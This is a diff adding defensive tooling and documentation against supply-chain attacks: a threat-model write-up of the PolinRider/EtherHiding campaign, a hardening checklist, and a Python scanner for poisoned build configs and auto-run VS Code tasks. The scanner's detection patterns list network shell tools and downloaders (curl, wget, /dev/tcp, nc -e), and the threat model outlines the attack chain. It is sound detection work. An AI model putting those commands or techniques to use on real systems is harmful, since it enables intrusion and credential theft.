+- [ ] Signing + SSH keys are **hardware-backed** (Secure Enclave / YubiKey) — a RAT
+      with filesystem read can't exfiltrate them
+- [ ] Signing + SSH keys require a **per-use physical touch** (not just hardware
+      residence) — stops silent mass-signing by a present RAT
+- [ ] Protected branches: force-push blocked, PR required, status checks required,
+      **signed commits required**
+- [ ] **Phishing-resistant MFA (passkeys / hardware)** on GitHub, npm, cloud — the
+      foundation signed-commits rests on (without it, a stolen token mints a "Verified" key)
+- [ ] `config-drift-check.py` runs as a pre-commit hook **and** a CI status check —
+      treated as one signal, paired with egress-deny + touch-to-sign
+- [ ] Alerting wired on force-push, out-of-hours push, **new-key-registration, and
+      ruleset changes**, from an **off-platform immutable** audit-log copy
+- [ ] Triage uses the **push-event timestamp + signature state**, never `git log`
+      author dates
+- [ ] Untrusted repos (forks, take-homes) open only in a disposable container/VM
+- [ ] Builds run in ephemeral containers with no standing secrets; **egress
+      allowlisted** (can't reach a blockchain dead-drop)
+- [ ] Agentic dev tools hold no standing creds; their pushes pass the same gates as humans
+- [ ] VS Code Workspace Trust enabled; `task.allowAutomaticTasks` off; external repos
+      opened as untrusted first
+- [ ] IR scope = every machine that **built** a poisoned repo (not just the commits);
+      all readable creds rotated; customer-shipped artifacts audited
+
+## Sources
+
+- Google GTIG — *DPRK Adopts EtherHiding* (UNC5342, Contagious Interview, JADESNOW →
+  INVISIBLEFERRET, BNB Smart Chain + Ethereum dead-drop via centralized explorer APIs):
+  <https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding>
+- GitHub Docs — *About commit signature verification* and *About protected branches /
+  rulesets* (require signed commits, restrict force pushes)
+- VS Code Docs — *Workspace Trust* (Restricted Mode disables auto-run tasks) and
+  *Tasks* (`runOptions.runOn`, `task.allowAutomaticTasks`)
+- PolinRider attribution and the shared-deploy-key blast-radius detail: practitioner
+  incident reporting on the EtherHiding npm campaign, 2026

+ 73 - 0
skills/supply-chain-defense/references/threat-model.md

@@ -31,6 +31,7 @@ use*. The pattern:
 | 19 May 2026 | **AntV wave** (TeamPCP) | 300+ malicious versions across 323 packages in a 22-minute automated burst (~16M weekly downloads). Compromised maintainer account. | 323 packages in 22 minutes — the worm's speed advantage over human review. |
 | 19–20 May 2026 | **GitHub internal breach** | ~3,800 internal repos breached after one employee installed a poisoned VS Code extension. | If it happens to GitHub (their budget, their threat intel), it happens to anyone. Developer workstations are the #1 target. |
 | 22 May 2026 | **Laravel-Lang** (Composer/Packagist) | ~700 historical git tags across 4 packages (`laravel-lang/lang`, `/attributes`, `/http-statuses`, `/actions`) **rewritten** to point at a malicious commit in an attacker fork. Payload injected into Composer `autoload.files` (`helpers.php`) — runs on every PHP request. Credential stealer (cloud keys, CI tokens, SSH, env, wallets). | Composer/PHP is in scope too. Two nasty firsts below. |
+| Feb 2025 → present (Apr 2026 wave) | **PolinRider / EtherHiding** (DPRK UNC5342 / Lazarus-aligned; ~1,951 repos by Apr 2026) | **Not a poisoned npm dependency** — the entry is a *trusted repo you already own*. A dev is lured into a fork / fake take-home interview repo (Contagious Interview / BeaverTail lure) carrying a malicious `.vscode/tasks.json` (auto-run on `folderOpen`) or a booby-trapped `.woff2` font. Stage 2 appends an obfuscated blockchain-C2 loader to **build config files** (`vite.config.js`, `tailwind.config.js`); on build it pulls a payload from a blockchain dead-drop (EtherHiding — BNB Smart Chain + Ethereum via centralized explorer APIs / `eth_call`), XOR-decrypts and runs it. Stage 3 = INVISIBLEFERRET RAT (creds/keys/wallets). Stage 4 = once resident, inject config files into every repo the machine can push to and **force-push**, **preserving original author + date** (backdating → false-flag attribution). | **The dependency tree was clean** — Socket/depscore/cooldown/exposure-check all pass and see nothing. In a reported incident it reached one company via a single **shared, long-lived devops deploy key** with write access to everything: one infected Mac force-pushed backdated commits into 22 repos. Config-as-code, not package-as-code. |
 
 ### Why the Laravel-Lang pattern defeats naive defenses
 
@@ -46,6 +47,49 @@ use*. The pattern:
   install` from it won't pull the rewritten tag. The danger is `composer update`,
   an unpinned fresh `composer install`, or a lock generated after the rewrite.
 
+### Why PolinRider / EtherHiding is a *different class* — and the skill was blind to it
+
+Everything else in this document reasons about the **dependency tree**: an
+attacker poisons a package you pull, and behavioural scanning of that package
+(Socket / depscore), a release-age cooldown, or an IOC match (`exposure-check.py`)
+catches it. PolinRider does **none of that**. Its blast radius is **trusted repos
+you already own and push to**, and its payload lives in **first-party config files
+under version control**, not in `node_modules`. Five properties make it evade every
+dependency-centric control:
+
+1. **Initial access is not a package.** It's a poisoned fork, a fake-interview
+   take-home repo, a malicious `.vscode/tasks.json` that auto-runs on `folderOpen`,
+   or a parser-exploit `.woff2` font. No registry, no lockfile, no advisory.
+2. **Execution is build-time config, not a lifecycle script.** The loader is
+   *appended to* `vite.config.js` / `tailwind.config.js`. `ignore-scripts` does
+   nothing — these are build configs the bundler imports, exactly like the
+   Laravel-Lang `autoload.files` lesson but in the JS world.
+3. **The C2 is a blockchain dead-drop (EtherHiding).** The loader reads an
+   obfuscated payload from a smart contract / transaction calldata via **`eth_call`
+   read-only calls** (no on-chain transaction, no gas, nothing to take down). GTIG
+   documents UNC5342 reading via **centralized explorer APIs** (Ethplorer,
+   Blockchair, Blockcypher, Binplorer) on **BNB Smart Chain + Ethereum**, not direct
+   nodes — which is the *defender's* leverage point (block the centralized API, you
+   can't take down an immutable contract). Variants also hit public RPC
+   (TronGrid / BSC dataseed / Aptos fullnodes); the network-IOC entry covers both.
+4. **Self-propagation is `git push`, not `npm publish`.** A resident RAT injects the
+   same config files into every repo the machine can reach and force-pushes them.
+   The cover-up **preserves the original commit author + date** (backdating), so the
+   malicious commit surfaces under an innocent identity at an innocent timestamp —
+   false-flag attribution that defeats a human skim of `git log`.
+5. **Blast radius = key scope, not download count.** One reported victim was reached
+   because a single **shared, long-lived devops deploy key** had write access to
+   everything; one silently-infected Mac force-pushed backdated commits into 22 repos. A
+   poisoned-package metric ("how many installs?") doesn't even apply.
+
+**What actually protects you** is a different layer entirely — repo-integrity, not
+dependency-integrity: no shared/standing keys + hardware-backed signing keys a RAT
+can't read, branch protection that requires *signed* commits and blocks force-push,
+treating the GitHub server-side push timestamp (not the attacker-controlled commit
+date) as ground truth, build isolation, disposable environments for untrusted repos,
+and Workspace Trust with auto-run tasks disabled. The full mapping is
+`references/repo-integrity.md`; the on-disk detector is `scripts/config-drift-check.py`.
+
 ## Why each legacy control fails
 
 | Control | Why it does **not** catch this |
@@ -81,6 +125,16 @@ honest caveat. No single control is sufficient; the layering is the point.
 | 9 | Composer **tag-rewrite + `autoload.files`** (Laravel-Lang) | `exposure-check.py` (composer + `*` wildcard); pinned `composer.lock`; threat-model doc | `--no-scripts`/`ignore-scripts` useless here; cooldown fooled by aged tags |
 | 10 | **Malicious editor extension** (Nx Console 18.95.0 → GitHub 3,800-repo breach) | `exposure-check.py` IOC match + `scan-extensions.sh` inventory/recency + `--deep` GuardDog behavioural | Extensions ship minified → even AST scanning is best-effort; inventory + recency + IOC is the backbone |
 | 11 | MCP server / AI-agent-skill attacks | `integrity-audit.sh` flags injected `mcpServers`; `scan-extensions.sh` inventories plugins (pinned SHA) + skills with recency, `--deep` behaviourally scans source; depscore scores packages | Plugin/skill *source* is scannable (un-minified); MCP-server runtime behaviour still not sandboxed |
+| 12 | **Config-as-code / trusted-repo poisoning** (PolinRider / EtherHiding) — build-config loader, `.vscode/tasks.json` auto-run, blockchain-C2 dead-drop, backdated false-flag force-push | **`config-drift-check.py`** (appended/obfuscated/eval/XOR + blockchain-RPC blobs in build configs & `tasks.json`) as a pre-commit + CI gate; `repo-integrity.md` controls (hardware-backed signing keys, branch protection requiring **signed** commits + no force-push, no shared keys, server-side push-log as ground truth, Workspace Trust, build/env isolation); blockchain dead-drop endpoints in `assets/network-ioc.json` feed `phone-home-monitor.ps1` | **Dependency-tree scanning does NOT cover this class** — Socket/depscore/cooldown/`exposure-check.py` all reason about packages you *pull*; this poisons first-party config in repos you *own*. Detection is content-diff of configs + git-provenance discipline. Backdated commits defeat `git log` skims; only the server push-event timestamp is trustworthy. |
+
+> **Scope boundary (important).** Vectors 1–11 are *dependency-integrity*: something
+> you install is malicious. Vector 12 is *repo-integrity*: something you already
+> trust is poisoned in place. The behavioural dependency scanners (Socket, depscore,
+> the cooldown gate, `exposure-check.py`, `postinstall-audit.py`) are **structurally
+> blind** to vector 12 because the malicious code never enters as a package — it is
+> committed, by an attacker-controlled push, into your own `vite.config.js` /
+> `tailwind.config.js` / `.vscode/tasks.json`. This is a distinct detection surface,
+> not a gap in the existing scanners. See `references/repo-integrity.md`.
 
 If a new vector appears, add a row here and a control — this table is the skill's
 definition of "complete."
@@ -99,6 +153,25 @@ definition of "complete."
 - Reads of cloud credential files (`~/.aws`, `~/.config/gcloud`, kube configs),
   `.npmrc` / `.pypirc` (publish tokens), or password-manager stores.
 
+For the **config-as-code / trusted-repo** vector (PolinRider) the IOCs live in your
+own version control, not in `node_modules`:
+
+- An **appended / obfuscated / minified blob** at the end of a build config
+  (`vite.config.js`, `tailwind.config.js`, `webpack.config.js`, `next.config.js`,
+  `rollup.config.js`, `postcss.config.js`, `svelte.config.js`, `astro.config.*`)
+  that previously held readable config — or new `eval` / `new Function` / Buffer-XOR
+  / dynamic-`require` / outbound-fetch code in such a file. `config-drift-check.py`.
+- A `.vscode/tasks.json` with `"runOptions": {"runOn": "folderOpen"}` (or `package.json`
+  scripts) that auto-executes a shell/downloader on open.
+- An outbound connection from a build process to a **blockchain explorer API or
+  public RPC node** (Ethplorer / Blockchair / Blockcypher / Binplorer; TronGrid /
+  BSC dataseed / Aptos fullnode) on a project that isn't a web3/dApp — the
+  EtherHiding dead-drop read. `assets/network-ioc.json` → `phone-home-monitor.ps1`.
+- A **force-push** to a protected branch, or a commit whose author date is weeks in
+  the past but whose **GitHub push-event timestamp is now** (backdated false-flag).
+- A commit on a protected branch that arrives **unsigned** when signing is required
+  (a deploy key authenticates the push but cannot sign the commit).
+
 ## What the next 12 months look like
 
 - More wormable variants targeting Composer, RubyGems, Cargo, Maven Central.

+ 378 - 0
skills/supply-chain-defense/scripts/config-drift-check.py

@@ -0,0 +1,378 @@
+#!/usr/bin/env python3
+"""Scan build-config & editor-task files for trusted-repo (config-as-code) poisoning.
+
+The PolinRider / EtherHiding class (DPRK UNC5342) does NOT enter as a poisoned
+npm dependency — the dependency tree stays clean. It appends an obfuscated
+blockchain-C2 loader to first-party BUILD CONFIG files (vite.config.js,
+tailwind.config.js, webpack/next/rollup/postcss/svelte/astro configs) or plants a
+.vscode/tasks.json that auto-runs on folderOpen. On build it reads an XOR/Base64
+payload from a blockchain dead-drop (EtherHiding) and runs it. Dependency scanners
+(Socket / depscore / cooldown / exposure-check) are structurally blind to this.
+
+This scans those config files for the injection signatures and exits 10 on a
+finding: blockchain explorer-API / RPC dead-drop endpoints, eval / new Function /
+shell-exec, Buffer-XOR decode loops, outbound network in a config that shouldn't
+have any, hex-var (_0x..) / long-escape obfuscation, an obfuscated appended blob,
+and tasks.json runOn:folderOpen auto-run. Zero-dependency (Python stdlib),
+read-only. Built to run as a pre-commit hook (--staged) AND in CI (--root .).
+
+Usage: config-drift-check.py [--root DIR]... [--staged] [FILE ...]
+                             [--json] [--findings-only] [--catalog PATH]
+
+Input:   --root dirs (default: cwd), or --staged (git staged configs), or FILEs
+Output:  stdout = findings report (JSON envelope with --json)
+Stderr:  progress, summary, errors
+Exit:    0 clean, 2 usage, 3 root/file-not-found, 5 missing-dep (--staged w/o git),
+         10 FINDINGS
+
+Examples:
+  config-drift-check.py --root .
+  config-drift-check.py --staged              # pre-commit: only staged config files
+  config-drift-check.py vite.config.js tailwind.config.js
+  config-drift-check.py --root . --json | jq '.data.findings[]'
+"""
+import argparse
+import json
+import os
+import re
+import subprocess
+import sys
+from pathlib import Path
+from typing import NoReturn
+
+# Windows consoles default to cp1252 — non-ASCII in output crashes or mangles.
+for _stream in (sys.stdout, sys.stderr):
+    _reconfig = getattr(_stream, "reconfigure", None)
+    if _reconfig:
+        _reconfig(encoding="utf-8", errors="replace")
+
+EXIT_OK, EXIT_USAGE, EXIT_NOT_FOUND, EXIT_MISSING_DEP, EXIT_FINDINGS = 0, 2, 3, 5, 10
+SKIP_DIRS = {".git", ".hg", ".svn", "node_modules", "worktrees", "__pycache__",
+             "dist", "build", ".next", ".svelte-kit", ".astro", "vendor"}
+SCHEMA = "claude-mods.supply-chain-defense.config-drift-check/v1"
+
+# Build-config filename stems (any of these extensions). A loader appended here
+# runs at build time — the Stage-2 EtherHiding execution vector.
+CONFIG_STEMS = {
+    "vite.config", "tailwind.config", "webpack.config", "next.config",
+    "rollup.config", "postcss.config", "svelte.config", "astro.config",
+    "vue.config", "nuxt.config", "remix.config", "craco.config",
+    "babel.config", "metro.config", "snowpack.config",
+}
+CONFIG_EXTS = {".js", ".cjs", ".mjs", ".ts", ".cts", ".mts"}
+
+# Detection patterns. A build config legitimately imports plugins and exports an
+# object — it does NOT eval, XOR-decode, hit the network, or talk to a blockchain.
+# Each of these in a config file is high-signal on its own (low false-positive).
+
+# Blockchain dead-drop endpoints (EtherHiding). Explorer APIs are what GTIG
+# documented UNC5342 using (centralized, blockable); public RPC nodes are the
+# variant. A build config reaching any of these on a non-web3 project is the tell.
+BLOCKCHAIN_RE = re.compile(
+    r"ethplorer|blockchair|blockcypher|binplorer"            # explorer APIs (GTIG)
+    r"|trongrid|tronscan|tron-rpc"                            # Tron
+    r"|bsc-dataseed|bscscan|bsc-rpc|binance\.org/?|bnbchain\.org"  # BSC
+    r"|aptoslabs\.com|fullnode\.\w+\.aptos|aptos-rpc"         # Aptos
+    r"|cloudflare-eth|llamarpc|rpc\.ankr\.com|infura\.io|alchemy\.com/v2"  # ETH public RPC
+    r"|eth_call|eth_getlogs|eth_gettransaction|getLogs\b"     # JSON-RPC read methods
+    r"|web3\.eth|ethers\.providers|JsonRpcProvider", re.I)
+
+EVAL_RE = re.compile(r"\beval\s*\(|new\s+Function\s*\(|\bFunction\s*\(\s*['\"`]", re.I)
+EXEC_RE = re.compile(
+    r"child_process|require\(\s*['\"]child_process['\"]\)|execSync|execFileSync"
+    r"|spawnSync|\bspawn\s*\(|\bexec\s*\(|cp\.exec|\.execSync"
+    r"|process\.binding", re.I)
+# XOR-decrypt loop / hex-buffer + xor — the EtherHiding payload decode.
+XOR_RE = re.compile(
+    r"charCodeAt\([^)]*\)\s*\^|\^\s*\w+\.charCodeAt|fromCharCode\([^)]*\^"
+    r"|Buffer\.from\([^)]{1,120}['\"]hex['\"]\)|\^\s*0x[0-9a-f]{1,2}\b"
+    r"|String\.fromCharCode\([^)]*\^", re.I)
+# Outbound network from a config file (configs are static — they don't fetch).
+NET_RE = re.compile(
+    r"\bfetch\s*\(|require\(\s*['\"]https?['\"]\)|require\(\s*['\"]node:https?['\"]\)"
+    r"|https?\.get\s*\(|https?\.request\s*\(|XMLHttpRequest|new\s+WebSocket"
+    r"|require\(\s*['\"]net['\"]\)|net\.connect|axios\.|got\(\s*['\"]https?", re.I)
+# Obfuscation markers (hex-name vars, long \x escape runs, marshal/zlib decode).
+OBFUS_RE = re.compile(
+    r"_0x[0-9a-f]{4,}|(?:\\x[0-9a-f]{2}){12,}|(?:\\u[0-9a-f]{4}){12,}"
+    r"|atob\s*\(\s*['\"][A-Za-z0-9+/=]{120,}", re.I)
+# Base64-ish long blob (no whitespace) — a packed payload.
+BLOB_RE = re.compile(r"['\"`][A-Za-z0-9+/=]{200,}['\"`]")
+# Downloader / shell red-flags in a package.json or tasks.json command string.
+SHELL_RED = re.compile(
+    r"curl\s|wget\s|iwr\s|invoke-webrequest|invoke-expression|certutil|bitsadmin"
+    r"|powershell|pwsh|\|\s*sh\b|\|\s*bash\b|bash\s+-c|sh\s+-c|cmd\s*/c|node\s+-e"
+    r"|python\s+-c|base64\s+-d|/dev/tcp|nc\s+-e", re.I)
+
+
+def log(msg):
+    print(msg, file=sys.stderr)
+
+
+def die(msg, code) -> NoReturn:
+    log(f"ERROR: {msg}")
+    sys.exit(code)
+
+
+def read_text_tolerant(path: Path) -> str:
+    try:
+        raw = path.read_bytes()
+    except OSError:
+        return ""
+    if raw[:2] in (b"\xff\xfe", b"\xfe\xff"):
+        return raw.decode("utf-16", errors="replace")
+    return raw.decode("utf-8-sig", errors="replace")
+
+
+def is_config_file(p: Path) -> bool:
+    name = p.name
+    if name == "tasks.json" and p.parent.name == ".vscode":
+        return True
+    if name == "package.json":
+        return True
+    stem = name
+    for ext in CONFIG_EXTS:
+        if name.endswith(ext):
+            stem = name[: -len(ext)]
+            if stem in CONFIG_STEMS:
+                return True
+    return False
+
+
+def load_extra_endpoints(catalog: Path):
+    """Pull blockchain dead-drop domains from network-ioc.json if present (extends
+    the embedded regex). Tolerant: missing/garbled catalog is not fatal."""
+    domains = []
+    try:
+        doc = json.loads(catalog.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return domains
+    for entry in doc.get("entries", []):
+        cat = (entry.get("category") or "") + " " + (entry.get("id") or "")
+        if "blockchain" in cat.lower() or "etherhiding" in cat.lower():
+            domains.extend(entry.get("domains", []))
+    return [d for d in domains if d]
+
+
+def scan_js_config(text: str):
+    """Findings for a JS/TS build-config file."""
+    findings = []
+    lines = text.splitlines()
+
+    def evidence(rx):
+        m = rx.search(text)
+        return m.group(0)[:80] if m else ""
+
+    if BLOCKCHAIN_RE.search(text):
+        findings.append(("critical", "blockchain-c2",
+                         f"blockchain dead-drop / RPC reference in a build config "
+                         f"({evidence(BLOCKCHAIN_RE)!r}) — EtherHiding payload read"))
+    if EVAL_RE.search(text):
+        findings.append(("high", "eval-exec",
+                         f"eval / new Function in a build config ({evidence(EVAL_RE)!r})"))
+    if EXEC_RE.search(text):
+        findings.append(("high", "shell-exec",
+                         f"child_process / shell exec in a build config ({evidence(EXEC_RE)!r})"))
+    if XOR_RE.search(text):
+        findings.append(("high", "xor-decode",
+                         f"XOR / hex-buffer decode loop ({evidence(XOR_RE)!r}) — payload decryptor"))
+    if NET_RE.search(text):
+        findings.append(("high", "outbound-network",
+                         f"outbound network call in a build config ({evidence(NET_RE)!r})"))
+    if OBFUS_RE.search(text):
+        findings.append(("high", "obfuscation",
+                         f"obfuscation markers ({evidence(OBFUS_RE)!r})"))
+    # Appended obfuscated blob: a very long line that ALSO looks packed/obfuscated.
+    # Plain-long lines (legit minified vendored config) don't fire — needs a payload tell.
+    for i, ln in enumerate(lines):
+        if len(ln) > 1500 and (OBFUS_RE.search(ln) or BLOB_RE.search(ln)
+                               or EVAL_RE.search(ln) or XOR_RE.search(ln)):
+            where = "tail" if i >= len(lines) - 3 else f"line {i + 1}"
+            findings.append(("high", "appended-blob",
+                             f"obfuscated {len(ln)}-char blob at {where} — appended loader"))
+            break
+    return findings
+
+
+def scan_tasks_json(text: str):
+    """Findings for a .vscode/tasks.json — the folderOpen auto-run vector."""
+    findings = []
+    try:
+        doc = json.loads(re.sub(r"//.*", "", text))  # tolerate // line comments
+    except json.JSONDecodeError:
+        doc = None
+    autorun = False
+    cmd_red = False
+    if isinstance(doc, dict):
+        for task in doc.get("tasks", []) or []:
+            if not isinstance(task, dict):
+                continue
+            ro = task.get("runOptions") or {}
+            if isinstance(ro, dict) and ro.get("runOn") == "folderOpen":
+                autorun = True
+                blob = json.dumps(task)
+                if SHELL_RED.search(blob):
+                    cmd_red = True
+    else:
+        # Fallback to text scan if JSON didn't parse.
+        if re.search(r'"runOn"\s*:\s*"folderOpen"', text):
+            autorun = True
+        if SHELL_RED.search(text):
+            cmd_red = True
+    if autorun and cmd_red:
+        findings.append(("critical", "tasks-autorun-shell",
+                         "tasks.json runOn:folderOpen auto-runs a shell/downloader command"))
+    elif autorun:
+        findings.append(("high", "tasks-autorun",
+                         "tasks.json runOn:folderOpen auto-executes a task when the folder opens"))
+    if SHELL_RED.search(text) and not autorun:
+        findings.append(("medium", "tasks-shell",
+                         "tasks.json task invokes a shell/downloader command"))
+    return findings
+
+
+def scan_package_json(text: str):
+    """Findings for package.json scripts with downloader/shell red-flags."""
+    findings = []
+    try:
+        doc = json.loads(text)
+    except json.JSONDecodeError:
+        return findings
+    scripts = doc.get("scripts") or {}
+    if isinstance(scripts, dict):
+        for key, cmd in scripts.items():
+            if isinstance(cmd, str) and SHELL_RED.search(cmd):
+                findings.append(("high", "script-shell",
+                                 f"scripts.{key}: {cmd[:120]}"))
+            if isinstance(cmd, str) and BLOCKCHAIN_RE.search(cmd):
+                findings.append(("critical", "script-blockchain",
+                                 f"scripts.{key} references a blockchain endpoint: {cmd[:100]}"))
+    return findings
+
+
+def scan_file(p: Path):
+    text = read_text_tolerant(p)
+    if not text:
+        return []
+    name = p.name
+    if name == "tasks.json" and p.parent.name == ".vscode":
+        return scan_tasks_json(text)
+    if name == "package.json":
+        return scan_package_json(text)
+    return scan_js_config(text)
+
+
+def collect_from_roots(roots):
+    files = []
+    for root in roots:
+        base = Path(root).expanduser()
+        if not base.exists():
+            log(f"[warn] root does not exist: {base}")
+            continue
+        if base.is_file():
+            if is_config_file(base):
+                files.append(base)
+            continue
+        for dirpath, dirnames, filenames in os.walk(base):
+            dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
+            for f in filenames:
+                fp = Path(dirpath) / f
+                if is_config_file(fp):
+                    files.append(fp)
+    return files
+
+
+def collect_staged():
+    if not _which("git"):
+        die("--staged requires git on PATH", EXIT_MISSING_DEP)
+    try:
+        out = subprocess.run(["git", "diff", "--cached", "--name-only", "--diff-filter=ACM"],
+                             capture_output=True, text=True, timeout=30)
+    except (subprocess.SubprocessError, OSError) as e:
+        die(f"git failed: {e}", EXIT_MISSING_DEP)
+    if out.returncode != 0:
+        die(f"not a git repo or git error: {out.stderr.strip()}", EXIT_MISSING_DEP)
+    files = []
+    for line in out.stdout.splitlines():
+        p = Path(line.strip())
+        if p.name and is_config_file(p) and p.is_file():
+            files.append(p)
+    return files
+
+
+def _which(name):
+    from shutil import which
+    return which(name)
+
+
+def main():
+    ap = argparse.ArgumentParser(
+        description="Scan build-config / editor-task files for config-as-code poisoning.",
+        epilog="Examples:\n"
+               "  config-drift-check.py --root .\n"
+               "  config-drift-check.py --staged\n"
+               "  config-drift-check.py vite.config.js --json | jq '.data.findings[]'\n",
+        formatter_class=argparse.RawDescriptionHelpFormatter)
+    ap.add_argument("--root", action="append", default=None, metavar="DIR")
+    ap.add_argument("--staged", action="store_true",
+                    help="scan only git-staged config files (pre-commit mode)")
+    ap.add_argument("files", nargs="*", metavar="FILE")
+    ap.add_argument("--json", action="store_true")
+    ap.add_argument("--findings-only", action="store_true")
+    ap.add_argument("--catalog", type=Path, default=None, metavar="PATH",
+                    help="network-ioc.json to extend blockchain endpoints (optional)")
+    try:
+        args = ap.parse_args()
+    except SystemExit as e:
+        sys.exit(EXIT_OK if e.code == 0 else EXIT_USAGE)
+
+    # Extend the blockchain regex from the IOC catalog if available.
+    catalog = args.catalog or (Path(__file__).resolve().parent.parent / "assets" / "network-ioc.json")
+    extra = load_extra_endpoints(catalog)
+    if extra:
+        global BLOCKCHAIN_RE
+        BLOCKCHAIN_RE = re.compile(BLOCKCHAIN_RE.pattern + "|" +
+                                   "|".join(re.escape(d) for d in extra), re.I)
+
+    # Resolve the file set from exactly one source of truth, in precedence order.
+    if args.staged:
+        files = collect_staged()
+    elif args.files:
+        files = []
+        for f in args.files:
+            p = Path(f).expanduser()
+            if not p.exists():
+                die(f"file not found: {p}", EXIT_NOT_FOUND)
+            files.append(p)
+    else:
+        roots = args.root or [os.getcwd()]
+        if not any(Path(r).expanduser().exists() for r in roots):
+            die(f"no root exists among: {roots}", EXIT_NOT_FOUND)
+        files = collect_from_roots(roots)
+
+    findings = []
+    scanned = 0
+    for p in files:
+        scanned += 1
+        for sev, kind, detail in scan_file(p):
+            findings.append({"file": str(p), "severity": sev, "kind": kind, "detail": detail})
+
+    log(f"=== config-drift-check: {scanned} config file(s) scanned — {len(findings)} finding(s) ===")
+
+    if args.json:
+        print(json.dumps({
+            "data": {"findings": findings,
+                     "scanned": [] if args.findings_only else [str(p) for p in files]},
+            "meta": {"count": len(findings), "files": scanned, "schema": SCHEMA}}, indent=2))
+    else:
+        for fobj in findings:
+            print(f"{fobj['file']}")
+            print(f"   [{fobj['severity']}] {fobj['kind']}: {fobj['detail']}")
+        if not findings and not args.findings_only:
+            print(f"clean: no config-drift findings in {scanned} config file(s)")
+
+    sys.exit(EXIT_FINDINGS if findings else EXIT_OK)
+
+
+if __name__ == "__main__":
+    main()

+ 13 - 4
skills/supply-chain-defense/scripts/exposure-check.py

@@ -39,6 +39,15 @@ def die(msg, code) -> NoReturn:
     sys.exit(code)
 
 
+def read_text_tolerant(path: Path) -> str:
+    # Lockfiles/manifests written by PowerShell `>` redirects arrive UTF-16 with
+    # a BOM; a strict utf-8 read aborts the whole sweep on the first such file.
+    raw = path.read_bytes()
+    if raw[:2] in (b"\xff\xfe", b"\xfe\xff"):
+        return raw.decode("utf-16", errors="replace")
+    return raw.decode("utf-8-sig", errors="replace")
+
+
 def load_catalog(path: Path):
     files = []
     if path.is_dir():
@@ -88,7 +97,7 @@ def add(components, ecosystem, name, version, source):
 
 def parse_npm_lock(path: Path, components):
     try:
-        doc = json.loads(path.read_text(encoding="utf-8"))
+        doc = json.loads(read_text_tolerant(path))
     except (json.JSONDecodeError, OSError):
         return
     # lockfileVersion 2/3: packages{} keyed by "node_modules/<name>"
@@ -162,7 +171,7 @@ REQ_RE = re.compile(r"^\s*([A-Za-z0-9_.\-]+)\s*==\s*([A-Za-z0-9_.\-]+)")
 
 def parse_requirements(path: Path, components):
     try:
-        for line in path.read_text(encoding="utf-8").splitlines():
+        for line in read_text_tolerant(path).splitlines():
             m = REQ_RE.match(line)
             if m:
                 add(components, "pypi", m.group(1), m.group(2), path)
@@ -187,7 +196,7 @@ def parse_dist_info(path: Path, components):  # *.dist-info/METADATA
 
 def parse_composer_lock(path: Path, components):  # composer.lock (JSON)
     try:
-        doc = json.loads(path.read_text(encoding="utf-8"))
+        doc = json.loads(read_text_tolerant(path))
     except (json.JSONDecodeError, OSError):
         return
     for key in ("packages", "packages-dev"):
@@ -201,7 +210,7 @@ def parse_cargo_lock(path: Path, components):  # Cargo.lock (TOML; needs py3.11+
     except ImportError:
         return  # tomllib is 3.11+; skip Cargo on older pythons
     try:
-        doc = tomllib.loads(path.read_text(encoding="utf-8"))
+        doc = tomllib.loads(read_text_tolerant(path))
     except Exception:  # OSError or tomllib.TOMLDecodeError
         return
     for pkg in doc.get("package", []):

+ 427 - 0
skills/supply-chain-defense/scripts/phone-home-monitor.ps1

@@ -0,0 +1,427 @@
+#!/usr/bin/env pwsh
+# Outbound-connection ("phone-home") monitor for Windows — exfiltration tripwire.
+#
+# Maps every outbound TCP connection to its owning process, parent chain, and
+# Authenticode signing status, then flags the patterns the 2026 npm-worm family
+# (Shai-Hulud) exhibits after stealing credentials: interpreters (node/python)
+# phoning out, processes living under node_modules or Temp, children of package
+# managers, raw-IP destinations with no DNS name, and known IOC endpoints
+# (assets/network-ioc.json). Prefers Sysmon Event ID 3 as the capture source
+# when installed (-Sysmon); falls back to Get-NetTCPConnection polling.
+#
+# Usage:   phone-home-monitor.ps1 [MODE] [OPTIONS]
+# Input:   live system state, or -InputJson <file> (replay/test fixture)
+# Output:  stdout = findings only (TSV: severity rule process pid remote detail;
+#          JSON envelope with -Json, schema claude-mods.supply-chain-defense.phone-home-monitor/v1)
+# Stderr:  headers, progress, capture-source notes, errors
+# Exit:    0 clean, 2 usage, 3 input-not-found, 5 missing-dep (Sysmon absent),
+#          10 at-least-one-finding (medium+ severity; -Strict counts low too)
+#
+# Examples:
+#   pwsh -NoProfile -File phone-home-monitor.ps1                  # one snapshot, rules applied
+#   pwsh -NoProfile -File phone-home-monitor.ps1 -Json | jq '.data.findings[]'
+#   pwsh -NoProfile -File phone-home-monitor.ps1 -Watch -IntervalSeconds 30 -DurationMinutes 60
+#   pwsh -NoProfile -File phone-home-monitor.ps1 -Sysmon -MaxEvents 500   # preferred source
+#   pwsh -NoProfile -File phone-home-monitor.ps1 -Status            # which capture sources exist?
+#   pwsh -NoProfile -File phone-home-monitor.ps1 -InstallTask       # logon scheduled task (-Watch daemon)
+#   pwsh -NoProfile -File phone-home-monitor.ps1 -InputJson fixtures/evil.json   # offline replay
+
+[CmdletBinding()]
+param(
+    [switch]$Help,
+    [switch]$Json,
+    [switch]$Quiet,
+    [switch]$Strict,            # low-severity findings also trigger exit 10
+    [switch]$Sysmon,            # tail Sysmon Event ID 3 instead of polling the TCP table
+    [switch]$Status,            # report which capture sources are available on this host
+    [switch]$Watch,             # continuous polling loop with ring-buffer JSONL log
+    [switch]$InstallTask,       # register a logon scheduled task running -Watch
+    [switch]$UninstallTask,
+    [switch]$CheckDomainAge,    # RDAP lookup for recently-registered domains (network)
+    [int]$IntervalSeconds = 30,
+    [int]$DurationMinutes = 0,  # 0 = until Ctrl+C
+    [int]$MaxEvents = 200,      # Sysmon mode: how many recent EID-3 events to read
+    [int]$DomainAgeDays = 30,
+    [string]$InputJson = '',
+    [string]$Ioc = '',          # override assets/network-ioc.json
+    [string]$LogPath = '',
+    [int]$LogMaxMB = 10,
+    [Parameter(ValueFromRemainingArguments = $true)][string[]]$Rest
+)
+
+Set-StrictMode -Version Latest
+$ErrorActionPreference = 'Stop'
+
+$EXIT_OK = 0; $EXIT_USAGE = 2; $EXIT_NOT_FOUND = 3; $EXIT_MISSING_DEP = 5; $EXIT_FINDING = 10
+$SCHEMA = 'claude-mods.supply-chain-defense.phone-home-monitor/v1'
+$TASK_NAME = 'SupplyChain-PhoneHomeMonitor'
+$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
